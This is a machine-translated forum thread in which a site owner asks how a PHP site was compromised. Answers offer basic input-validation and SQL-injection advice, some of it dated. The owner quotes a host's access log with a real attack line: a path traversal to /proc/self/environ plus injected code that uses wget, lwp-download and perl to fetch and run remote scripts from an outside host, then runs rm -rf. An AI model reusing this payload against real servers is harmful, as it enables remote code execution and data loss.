Я был атакован PHP / инъекцией скрипта - пустышка - PullRequest
1 голос
/ 12 сентября 2011

Мой сайт подвергся атаке с целью фишинга.Это сложный веб-сайт, однако я использую только файлы почты и PHP.

Как они могут атаковать меня?Я использую только $ _POST, поэтому я считаю, что никакие команды и параметры SQL не видны. Там нет рамок, только мой маленький список кодирования и доступ на веб-сайте.

Буду признателен за любую подсказку / предложение.

Извините, если я не отвечаю прямо, ноЯ имею дело с моим провайдером, который заблокировал весь сайт.

это их ответ (любые комментарии будут приветствоваться):

Поскольку внедрение скриптов атакует сам код сайта, он можетполностью избежать безопасности веб-сервера.К сожалению, некоторые системы управления контентом (особенно старые версии Joomla) чрезвычайно восприимчивы к этой форме атаки.

Простой способ отменить возможность для злоумышленников использовать этот метод - добавить файл php.ini вверхний уровень веб-сайта со следующим содержимым - имейте в виду, однако, что веб-сайт впоследствии будет нуждаться в тестировании, чтобы убедиться, что изменение не повлияло на законные действия веб-сайта по сценарию:


Директивы php.ini: ...

allow_url_include = "0"

allow_url_fopen = "0"

update:

вот что я получилот компании-хостера:

121.254.216.170 - - [12 / Sep / 2011: 05: 21: 07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP / 1.1 "200 5806" - "" http://some.thesome.com/etc/byz.jpg? -O / tmp / cmd548; cd / tmp; lwp-загрузка http://some.thesome.com/etc/cup.txt;perl cup.txt; rm -rf * .txt *; wget http://some.thesome.com/etc/update.txt;perl update.txt; rm -rf *.txt * '); echo \ "# j13mb0t \";?> "

Ответы [ 3 ]

2 голосов
/ 12 сентября 2011

POST-запросы также можно отправлять вручную, например, с помощью cURL.Никто не запрещает людям просто открывать терминал telnet и вводить команду вручную и отправлять любые параметры на ваш сайт.

Вместо этого вы всегда должны защищать свой сайт и проверять вводимые данные.Будь они из POST, GET или из любого другого места.Кроме того, предпочитайте использовать PDO вместо стандартных функций mysql в PHP.

Не могли бы вы уточнить, что за attack произошло на вашем сайте?

1 голос
/ 12 сентября 2011

Существует множество способов взлома сервера. Трудно сказать, как это произошло в вашем случае, не зная больше о вашем проекте или сервере.

Но несколько советов:

Убедитесь, что вы всегда избегаете данных, которые записываются в вашу базу данных. Вы можете использовать mysql_real_escape_string (), например. Помимо атаки на ваши скрипты, ваш сервер также мог быть атакован, например, через FTP или SSH.

Кроме того, всегда проверяйте, какие все популярные фреймворки / библиотеки вы используете.

0 голосов
/ 12 сентября 2011

$ _ POST не является допустимым методом для блокировки SQL-атак.Вы должны использовать подготовленные операторы с параметрами для всех значений, полученных из $ _GET или $ _POST, или использовать mysql_real_escape_string для всех этих параметров.

...